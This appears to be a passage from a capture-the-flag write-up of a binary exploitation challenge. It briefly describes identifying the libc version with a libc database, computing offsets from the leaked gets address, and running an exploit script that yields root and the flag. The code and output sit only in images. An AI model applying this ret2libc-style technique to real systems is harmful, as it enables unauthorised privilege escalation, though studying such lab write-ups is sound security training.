<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi7LYwcOqvtl6mQUymqCW%2Fimage.png?alt=media&#x26;token=8b95abc9-0381-42d8-a2a4-2716343b8844" alt=""><figcaption></figcaption></figure>

Using a libc database again to determine the used libc library

{% embed url="<https://libc.blukat.me/>" %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F64mXA96YLjo85ZLKYRLf%2Fimage.png?alt=media&#x26;token=7075cc64-f1d6-4fa1-95fa-eaee6efa1b69" alt=""><figcaption></figcaption></figure>

Using the offsets relative to the gets address

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWCYH6BhGKUgHOabqoYCE%2Fimage.png?alt=media&#x26;token=8ef7af2c-5f3c-4ce2-81d0-61d2b423df27" alt=""><figcaption></figcaption></figure>

Running the script, we are now on the machine as root and found the flag at /root/root.txt

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FW8tXTR24UewoDRMAEtyI%2Fimage.png?alt=media&#x26;token=10785e7e-f437-4fc9-a627-5a613b03e306" alt=""><figcaption></figcaption></figure>
